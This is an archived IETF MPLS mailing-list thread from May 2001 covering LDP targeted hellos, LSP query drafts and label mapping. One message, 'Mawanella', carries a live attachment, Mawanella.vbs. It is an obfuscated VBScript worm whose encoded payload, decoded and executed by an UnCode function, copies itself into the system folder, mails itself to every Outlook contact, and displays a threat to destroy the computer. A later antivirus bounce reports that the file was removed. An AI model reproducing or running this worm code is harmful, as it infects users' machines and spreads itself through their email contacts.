	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 10:54:42 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpkl28179;
	Thu, 17 May 2001 14:52:50 GMT
Received: by mail-control.mail.uu.net 
	id QQkpkl09881
	for mpls-outgoing; Thu, 17 May 2001 14:52:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpkl09863
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 14:52:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpkl20496
	for <mpls@UU.NET>; Thu, 17 May 2001 14:50:59 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpkl04903
	for <mpls@UU.NET>; Thu, 17 May 2001 14:50:59 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 5013B94009; Thu, 17 May 2001 10:50:54 -0400 (EDT)
Message-ID: <3B03E54E.6EC78918@sandburst.com>
Date: Thu, 17 May 2001 10:50:54 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Abhijit M Gadgil <amg@sasken.com>
Cc: Asish Thomas Punnoose <asish.punnoose@wipro.com>, Peter.White@nokia.com,
        mpls@UU.NET
Subject: Re: Hierarchy between two LSRs
References: <Pine.GSO.4.30.0105171741470.23005-100000@sund2.sasi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Abhijit,

    This is slightly more complicated than has so far been noted.
Use of targetted hello messages is one approach.  Another is to
establish an LDP peer session using the LSP over which the
labels will be sent.  This would include sending 'hello' messages
over the LSP.   These could be targetted hello messages, or they
could be 'normal' hello mesages if the implementation does not
set TTL to equal '1' (this would not matter if the LSP were setup
using a 'pipe' model).  This is effectively using the LSP as a
seperate interface/link and is required if the targtted LSR wants
(for some reason) to use an interface specific label space in the
peer relationship.  This may not work if the same LSR relies on
PHP, but it would be just plain silly for such an LSR to do this in
that case.

    If LSRs use targetted hello messages - that are not sent over an
LSP directly to the 'remote' peer - to establish a session with that
peer, they need to be prepared to receive labels they distribute in
that session on any interface including any LSP that they terminate.

--
Eric Gray

You wrote:

> > Here i meant was that two LSRs are not directly connected, but there is a
> > subnetwork which interconnects these two LSRs, so in this case how does the
> > LDP help in distributing labels and forming a LSP
>
> LDP will make use of targetted hellos that would flow thr' the underlying
> subnet.. Specification is quite elaborate wrt to that have a look at
> rfc3036 section 2.4
>
> -abhijit



From owner-mpls@UU.NET  Thu May 17 17:26:50 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA27421
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 17:26:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpll21361;
	Thu, 17 May 2001 21:26:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkpll06024
	for mpls-outgoing; Thu, 17 May 2001 21:25:42 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpll05990
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 21:25:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpll09261
	for <mpls@UU.NET>; Thu, 17 May 2001 21:24:52 GMT
Received: from tomp.smb.utfors.se by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tomp.smb.utfors.se [195.58.112.6])
	id QQkpll03882
	for <mpls@UU.NET>; Thu, 17 May 2001 21:24:51 GMT
Received: from utfors.se ([195.58.105.97]) by tomp.smb.utfors.se
          (Netscape Messaging Server 4.15) with ESMTP id GDI0XD00.TVK;
          Thu, 17 May 2001 23:27:13 +0200 
Message-ID: <3B04419E.3D931E77@utfors.se>
Date: Thu, 17 May 2001 23:24:46 +0200
From: Loa Andersson <loa.andersson@utfors.se>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Gray <eric.gray@sandburst.com>
CC: MPLS Mailing List <mpls@UU.NET>
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <200105161102.HAA02659@ietf.org> <3B039418.285034D@utfors.se> <3B03D30A.BF672875@sandburst.com>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQkpll21361
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id RAA27421

Eric,

I don't know much about horses (or carts) but if I read you correct
what I get from the querry is that I know a situation at the point
in time when (or shortly before) I receive the querry response! But 
I can't rely on that info if I want to take some actions at that point
in time or later. Why should this be a "nice to have"?

/Loa

Eric Gray wrote:
> 
> Loa,
> 
>     I think that the whole query mechanism is being suggested because
> people want to check from time to time to see where an LSP is going
> at some time.  The only conceivable reason for wanting to do this is a
> direct result of the dynamism you mention.  Consequently, I think you
> are getting the cart before the horse - you send a query to find out if
> the LSP has changed and (from time to time) you send others.  Maybe
> you do this because you've experienced some 'aftershocks' of route
> changes (such as a storm of LSAs), or maybe you do it periodically.
> 
>     You don't need a mechanism to detect when the last query is out of
> date - the existence of a query mechanism, all by itself, means you
> believe that the information can become stale.  Therefore, having some
> means to detect when this is more likely can be seen as a nice to have
> - but unnecessary - optimization.
> 
> --
> Eric Gray


-- 
Loa Andersson
Chief Architect,
Utfors Research, Architecture and Future Lab (URAX)
Utfors AB
Råsundavägen 12
Box 525, 169 29 Solna
Office          +46 8 5270 2000
Office direct   +46 8 5270 5038
Mobile          +46 70 848 5038
Email           loa.andersson@utfors.se
WWW             www.utfors.se


From owner-mpls@UU.NET  Thu May 17 17:55:31 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA27724
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 17:55:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpln27911;
	Thu, 17 May 2001 21:55:09 GMT
Received: by mail-control.mail.uu.net 
	id QQkpln09482
	for mpls-outgoing; Thu, 17 May 2001 21:53:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpln09444
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 21:53:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpln03690
	for <mpls@UU.NET>; Thu, 17 May 2001 21:52:39 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpln04483
	for <mpls@UU.NET>; Thu, 17 May 2001 21:52:39 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id DFFE794006; Thu, 17 May 2001 17:52:38 -0400 (EDT)
Message-ID: <3B044826.5416F0D6@sandburst.com>
Date: Thu, 17 May 2001 17:52:38 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Loa Andersson <loa.andersson@utfors.se>
Cc: MPLS Mailing List <mpls@UU.NET>
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <200105161102.HAA02659@ietf.org> <3B039418.285034D@utfors.se> <3B03D30A.BF672875@sandburst.com> <3B04419E.3D931E77@utfors.se>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id RAA27724

Loa,

    Because you cannot have perfect knowledge of the state of
the network.  What you say about the difference in the state of
the network between times 't' and 't+n' will also be true of the
difference between times 't+(a(n))' and 't+((a+1)(n))'.  And
what constitutes 'good enough' knowledge of the state of the
network may be difficult to standardize - especially without
some real deployment experience.

    I am not particularly for or against this particular draft, but
I do not know that it makes sense to try to dictate when it
makes sense to use a query mechanism if we have one.

--
Eric Gray

You wrote:

> Eric,
>
> I don't know much about horses (or carts) but if I read you correct
> what I get from the querry is that I know a situation at the point
> in time when (or shortly before) I receive the querry response! But
> I can't rely on that info if I want to take some actions at that point
> in time or later. Why should this be a "nice to have"?
>
> /Loa
>
> Eric Gray wrote:
> >
> > Loa,
> >
> >     I think that the whole query mechanism is being suggested because
> > people want to check from time to time to see where an LSP is going
> > at some time.  The only conceivable reason for wanting to do this is a
> > direct result of the dynamism you mention.  Consequently, I think you
> > are getting the cart before the horse - you send a query to find out if
> > the LSP has changed and (from time to time) you send others.  Maybe
> > you do this because you've experienced some 'aftershocks' of route
> > changes (such as a storm of LSAs), or maybe you do it periodically.
> >
> >     You don't need a mechanism to detect when the last query is out of
> > date - the existence of a query mechanism, all by itself, means you
> > believe that the information can become stale.  Therefore, having some
> > means to detect when this is more likely can be seen as a nice to have
> > - but unnecessary - optimization.
> >
> > --
> > Eric Gray
>
> --
> Loa Andersson
> Chief Architect,
> Utfors Research, Architecture and Future Lab (URAX)
> Utfors AB
> Råsundavägen 12
> Box 525, 169 29 Solna
> Office          +46 8 5270 2000
> Office direct   +46 8 5270 5038
> Mobile          +46 70 848 5038
> Email           loa.andersson@utfors.se
> WWW             www.utfors.se



From owner-mpls@UU.NET  Thu May 17 23:02:18 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA03798
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 23:02:17 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmi26854;
	Fri, 18 May 2001 03:01:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmi11860
	for mpls-outgoing; Fri, 18 May 2001 03:00:34 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpmi11613
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 03:00:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmi29632
	for <mpls@uu.net>; Fri, 18 May 2001 03:00:24 GMT
From: ytr@123india.com
Received: from hongkong.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.84.12.153])
	id QQkpmi03283
	for <mpls@uu.net>; Fri, 18 May 2001 03:00:18 GMT
Received: from hongkong.com([10.1.2.100]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm93b04f357; Fri, 18 May 2001 02:52:08 -0000
Received: from cmr1.ash.ops.us.uu.net([198.5.241.39]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm243aff9cc7; Mon, 14 May 2001 08:37:38 -0000
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoyl06981;
	Mon, 14 May 2001 08:45:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkoyk13677
	for mpls-outgoing; Mon, 14 May 2001 08:43:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoyk13664
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 08:43:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoyk15589
	for <mpls@UU.NET>; Mon, 14 May 2001 08:43:03 GMT
Received: from c001.zsm.cp.net by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: c001-h010.c001.zsm.cp.net [209.228.56.124])
	id QQkoyk29933
	for <mpls@UU.NET>; Mon, 14 May 2001 08:43:02 GMT
Received: (cpmta 13032 invoked from network); 14 May 2001 01:42:57 -0700
Date: 14 May 2001 01:42:56 -0700
Message-ID: <20010514084256.13025.cpmta@c001.zsm.cp.net>
X-Sent: 14 May 2001 08:42:56 GMT
Received: from [192.52.59.67] by mail.123india.com with HTTP;
    14 May 2001 01:42:56 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: manoj@ipinfusion.com
Cc: mpls@UU.NET
X-Mailer: Web Mail 3.9.1.6
Subject: Re: Label Mapping mesage !!
X-Sent-From: ytr@123india.com
X-Auto-Forward: bennith@hongkong.com
 bennith@netvigator.com
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
  I think it may not possible for having same label between two routes with different LSPs ( each LSP associated with FEC). The FEC definition indicates "set of packets forwarded in the same manner". In MPLS domain the forwarding info associated with the label. So with the same label one can't have different forwarding informations. If u use same label for different EFC, the FEC definition contradicts.

 But its possible in case of merging i.e the "Rd" have more than one peers like "Ru1","Ru2"... . In this case Ru1, Ru2 may use same label for forwarding traffic to Rd. 
  If I am wrong pls correct me.

Thanks
YTR  

On Mon, 14 May 2001, Manoj Dutta wrote:

> 
> hi,
> 
> Is is possible for a given LSR Rd to distribute the same label mapping
> for more than one fec elements to another LSR Ru while using platform
> wide label space only. If so, then what are the possible scenarios.
> 
> thanks
> manoj


______________________________________________________
123India.com - India's Premier Portal 
Get your Free Email Account at http://www.123india.com




From owner-mpls@UU.NET  Fri May 18 00:09:57 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA04753
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 00:09:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmm10546;
	Fri, 18 May 2001 04:08:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmm20889
	for mpls-outgoing; Fri, 18 May 2001 04:08:13 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpmm20872
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 04:08:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmm24851
	for <mpls@uu.net>; Fri, 18 May 2001 04:07:14 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkpmm19010
	for <mpls@uu.net>; Fri, 18 May 2001 04:07:13 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000137673@fsnt.future.futsoft.com> for <mpls@uu.net>;
 Fri, 18 May 2001 09:37:22 +0530
Received: from sailendram (sailendram.future.futsoft.com [10.8.7.27])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f4IC0a426757
	for <mpls@uu.net>; Fri, 18 May 2001 17:30:36 +0530
Reply-To: <sailendram@future.futsoft.com>
From: "sailendra mahanty" <sailendram@future.futsoft.com>
To: <mpls@UU.NET>
Subject: Mawanella
Date: Fri, 18 May 2001 09:16:32 +0530
Message-Id: <007001c0df4d$331ba720$1b07080a@future.futsoft.com>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0071_01C0DF7B.4CD3E320"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0071_01C0DF7B.4CD3E320
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


Mawanella is one of the Sri Lanka's Muslim Village

------=_NextPart_000_0071_01C0DF7B.4CD3E320
Content-Type: application/octet-stream;
	name="Mawanella.vbs"
Content-Disposition: attachment;
	filename="Mawanella.vbs"
Content-Transfer-Encoding: quoted-printable


Execute =
UnCode("Ts%Jwwtw%Wjxzrj%Sj}y=0FWjr%44%N%mfyj%Rf|fsjqqf%nshnijsy=0FXjy%\dX=
%B%HwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0FXjy%kxt%B%HwjfyjTgojhy-'Xhwnuynsl3Knqj=
X~xyjrTgojhy'.=0Fxjy%knqj%B%kxt3TujsYj}yKnqj-\Xhwnuy3XhwnuyKzqqsfrj16.=0F=
{gxhtu~Bknqj3WjfiFqq=0Frfns-.=0F=0Fxzg%rfns-.=0F%%%Ts%Jwwtw%Wjxzrj%Sj}y=0F=
%%%inr%|xhw1ww1%xywRxl=0F%%%xjy%|xhwBHwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0F%%%%=
%%Xjy%inw|ns%B%kxt3LjyXujhnfqKtqijw-5.=0F%%%%%%Xjy%inwx~xyjr%B%kxt3LjyXuj=
hnfqKtqijw-6.=0F%%%%%%Xjy%inwyjru%B%kxt3LjyXujhnfqKtqijw-7.=0F%%%%%%Xjy%h=
Knqj%B%kxt3LjyKnqj-\Xhwnuy3XhwnuyKzqqSfrj.=0F%%%%%%hKnqj3Htu~-inwx~xyjr+'=
aRf|fsjqqf3{gx'.=0F%%%%%=0FXjy%TzyqttpF%B%HwjfyjTgojhy-'Tzyqttp3Fuuqnhfyn=
ts'.=0FNk%TzyqttpF%B%'Tzyqttp'%Ymjs=0F%%%Xjy%RfunBTzyqttpF3LjySfrjXufhj-'=
RFUN'.=0F%%%Xjy%FiiQnxyxBRfun3FiiwjxxQnxyx=0F%%%Ktw%Jfhm%QnxyNsij}%Ns%Fii=
Qnxyx=0F%%%%%%%Nk%QnxyNsij}3FiiwjxxJsywnjx3Htzsy%AC%5%Ymjs=0F=0E%%Htsyfhy=
Htzsy]%B%QnxyNsij}3FiiwjxxJsywnjx3Htzsy=0F=0E%%Ktw%HtzsyB%6%Yt%HtsyfhyHtz=
sy]=0F%%%%%%%%%%%%%%Xjy%Rfnq]%B%TzyqttpF3HwjfyjNyjr-5.=0F=0E%%%%%%Xjy%Hts=
yfhy]%B%QnxyNsij}3FiiwjxxJsywnjx-Htzsy.=0F%%%%%%%%%%%%%%,rxlgt}%htsyfhy}3=
fiiwjxx=0F%%%%%%%%%%%%%%,Rfnq}3Wjhnunjsyx3Fii-Htsyfhy]3Fiiwjxx.=0F%%%%%%%=
%%%%%%%Rfnq]3Yt%B%Htsyfhy]3Fiiwjxx=0F=0E%%%%%%Rfnq]3Xzgojhy%B%'Rf|fsjqqf'=
=0F=0E%%%%%%Rfnq]3Gti~%B%{ghwqk+'Rf|fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxq=
nr%[nqqflj'+{ghwqk=0F=0E%%%%%%,Xjy%FyyfhmrjsyBRfnq]3Fyyfhmrjsyx=0F=0E%%%%=
%%,Fyyfhmrjsy3Fii%inwx~xyjr%+%'aRf|fsjqqf3{gx'=0F=0E%%%%%%,Rfnq}3Fyyfhmrj=
syx3Fii-inwx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq}3Fyyfhmrjsyx3Fii-in=
wx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq]3IjqjyjFkyjwXzgrny%B%Ywzj=0F=0E=
%%%%%%Nk%Rfnq]3Yt%AC%''%Ymjs=0F=0E=0E%Rfnq]3Xjsi=0F%=0E%%%%%%Jsi%Nk=0F%%%=
%%%%%%%%Sj}y=0F%%%%%%%Jsi%Nk=0F%%%Sj}y=0FJqxj=0F%%%rxlGt}%'Uqjfxj%Ktw|fwi=
%ymnx%yt%j{jw~tsj'%=0FJsi%nk=0F=0FxywRxlB%'%%.%%%%%%%%%%%%%%%%%%%%-'%+%{g=
hwqk=0FxywRxlB%xywRxl%+%'-%%.%%%%%%%%%%%%%%%%-%%%.%%'%+%{ghwqk=0FxywRxlB%=
xywRxl%+%'%%-%%%%.%%%%%%%%%%-%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%-%%%.=
%%%%%%-%%%%%%%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%222222222222222222222=
2222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%4%%%%%%%-%%%-%%%%-%%%%%%4a'%+%{ghwq=
k=0FxywRxlB%xywRxl%+%'%%4%%%%%%%%%%-%%%%%%%%%%%%%4%%a'%+%{ghwqk=0FxywRxlB=
%xywRxl%+%'%4%%%%%%%%%%%%-%-%%%%%%%%%4%%%%a'%+%{ghwqk=0FxywRxlB%xywRxl%+%=
'%22222222222222222222222222222222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%%%=
%%%%%%%%%%%%222%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%222=
22%%%%%%%%=81%%%=81%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%=
=81%%%%%=81%%%%%%%%222%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=
=81%=81%%%%%=81%%%%%%%%%%%%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%=
+%'%22222222222222222222222222222222'%+%{ghwqk=0F=0FxywRxlB%xywRxl%+%'Rf|=
fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxqnr%[nqqflj3'%+%{ghwqk%=0FxywRxlB%xyw=
Rxl%+%'Ymnx%gwzyfq%nshnijsy%mfuujsji%mjwj%7%Rzxqnr%Rtxvzjx%+%655%Xmtux%fw=
j%gzwsy3'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%mfy%ymnx%nshnijsy1%\mfy%fgtzy%~=
tzD%N%hfs%ijxywt~%~tzw%htruzyjw'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%inis,y%i=
t%ymfy%gjhfzxj%N%fr%f%ujfhj2qt{nsl%hnyn=7Fjs3'=0F%=0Frxlgt}%xywRxl11'Rf|f=
sjqqf'=0F=0FJsi%xzg=0F=0F%=0F")


Function UnCode(sCoded)
   For I=3D1 To Len(sCoded)
      CurChar=3D Mid(sCoded, I, 1)
      If Asc(CurChar) =3D 15 Then
         strChr=3D Chr(10)
      Else
         strChr =3D chr(asc(CurChar)-5)
      End if
         UnCode =3D UnCode & strChr
    Next
End Function  =20



------=_NextPart_000_0071_01C0DF7B.4CD3E320--



From owner-mpls@UU.NET  Fri May 18 00:15:14 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA04808
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 00:15:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmm26081;
	Fri, 18 May 2001 04:14:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmm22032
	for mpls-outgoing; Fri, 18 May 2001 04:13:26 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpmm22021
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 04:13:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmm21453
	for <mpls@uu.net>; Fri, 18 May 2001 04:12:42 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpmm24835
	for <mpls@uu.net>; Fri, 18 May 2001 04:12:41 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id AAA28904 for mpls@uu.net; Fri, 18 May 2001 00:12:41 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpmm21695
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 04:11:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmm00340
	for <mpls@UU.NET>; Fri, 18 May 2001 04:10:09 GMT
Received: from tnnt3.tachion.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [198.139.117.130])
	id QQkpmm22324
	for <mpls@UU.NET>; Fri, 18 May 2001 04:10:08 GMT
Received: by TNNT3 with Internet Mail Service (5.5.2653.19)
	id <KR1YLR1L>; Fri, 18 May 2001 00:10:06 -0400
Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14C3D2@TNNT3>
From: ANTIGEN_TNNT3 <ANTIGEN_TNNT3@tachion.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: Restricted filetype found =*.vbs file
Date: Fri, 18 May 2001 00:10:05 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DF50.6B3BC1F0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DF50.6B3BC1F0
Content-Type: text/plain


FILENAME   : Mawanella.vbs
ACTION     : Removed 
MESSAGE    : Mawanella
SENT BY    : sailendra mahanty 
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C0DF50.6B3BC1F0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Restricted filetype found =*.vbs file</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=2>FILENAME&nbsp;&nbsp; : Mawanella.vbs</FONT>
<BR><FONT SIZE=2>ACTION&nbsp;&nbsp;&nbsp;&nbsp; : Removed </FONT>
<BR><FONT SIZE=2>MESSAGE&nbsp;&nbsp;&nbsp; : Mawanella</FONT>
<BR><FONT SIZE=2>SENT BY&nbsp;&nbsp;&nbsp; : sailendra mahanty </FONT>
<BR><FONT SIZE=2>LOCATION&nbsp;&nbsp; : IMC Queues\Inbound</FONT>
<BR><FONT SIZE=2>SERVER&nbsp;&nbsp;&nbsp;&nbsp; : Tachion Networks/TACHION/TNNT3</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0DF50.6B3BC1F0--



From owner-mpls@UU.NET  Fri May 18 00:17:34 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA04822
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 00:17:33 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmn13909;
	Fri, 18 May 2001 04:16:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmm22067
	for mpls-outgoing; Fri, 18 May 2001 04:13:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
